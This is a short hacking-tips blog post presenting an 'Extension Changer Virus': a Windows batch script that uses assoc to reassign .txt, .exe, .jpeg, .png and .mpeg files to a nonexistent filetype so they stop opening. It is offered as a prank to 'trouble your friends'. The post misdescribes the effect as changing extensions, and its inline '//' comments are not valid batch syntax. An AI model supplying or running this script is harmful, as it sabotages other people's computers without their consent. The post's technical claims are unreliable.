Computer SecurityComputer Tips And TricksHacking Tips & Tricks

Extension Changer Virus

Guys, have you ever imagined that if you can change the extensions of all the files in one go?

Yes, this is possible. 🙂

You can change the extensions of the existing files & make them useless.

For example, you have a set of .txt files (say ~1000 files), you can change its extension in one go to anything & this would make the file useless (until the user knows). 

You can use this as a prank or fun moments or to trouble your friends. 🙂

Here we go:

As usual, open the notepad, paste the code & save it as a batch (.bat) file.

#########################################

@echo off

assoc .txt=anything // this command associates extension .txt with filetype anything.

assoc .exe=anything

assoc .jpeg=anything

assoc .png=anything

assoc .mpeg=anything

#########################################

Every extension is associated with a filetype like extension ‘exe’ is  is associated with filetype ‘exefile’. To see them, just enter command ‘assoc’ in command prompt.

Above code changes the association of some extensions to filetype ‘anything’ (means u can write anything) which obviously doesn’t exist. So all exe (paint, games, command prompt and many more), jpeg, png, MPEG files we don’t open properly.

Tags

Shakil Ahmed

I'm a Content writer. My topic is Tech, Story, SEO, Digital Marketing etc. I'm Work With MDOmarMakki.Org Website for CEO of This Website MD Omar Makki

Related Articles

Leave a Reply

Leave a Reply

Your email address will not be published. Required fields are marked *

Back to top button
error: Alert: Content is protected !!
Close
Close